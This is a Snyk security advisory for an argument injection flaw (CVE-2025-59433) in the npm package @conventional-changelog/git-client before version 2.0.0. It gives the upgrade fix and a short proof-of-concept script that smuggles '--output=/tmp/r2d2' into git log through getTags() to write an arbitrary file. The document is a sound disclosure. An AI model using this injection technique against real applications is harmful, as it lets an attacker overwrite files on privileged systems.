Arbitrary Argument Injection Affecting @conventional-changelog/git-client package, versions <2.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-CONVENTIONALCHANGELOGGITCLIENT-13004533
  • published23 Sept 2025
  • disclosed22 Sept 2025
  • creditLiran Tal

Introduced: 22 Sep 2025

NewCVE-2025-59433  (opens in a new tab)
CWE-88  (opens in a new tab)

How to fix?

Upgrade @conventional-changelog/git-client to version 2.0.0 or higher.

Overview

@conventional-changelog/git-client is a Simple git client for conventional changelog packages.

Affected versions of this package are vulnerable to Arbitrary Argument Injection via the getTags() API which allows specifying extra parameters passed to the git log command. An attacker can overwrite critical system files by passing crafted parameters to the underlying git command if the application is running as privileged root user.

PoC

  1. Install @conventional-changelog/git-client@1.0.1 or earlier
  2. Prepare a Git directory to be used as source
  3. Create the following script for the proof-of-concept:
import {
  GitClient,
} from "@conventional-changelog/git-client";

async function main() { const gitDirectory = "/tmp/some-git-directory"; const client = new GitClient(gitDirectory);

const params = ["--output=/tmp/r2d2"]; for await (const tag of client.getTags(params)) { console.log(tag); } }

main();

  1. Observe new file created on disk at /tmp/r2d2

References

CVSS Base Scores

version 4.0
version 3.1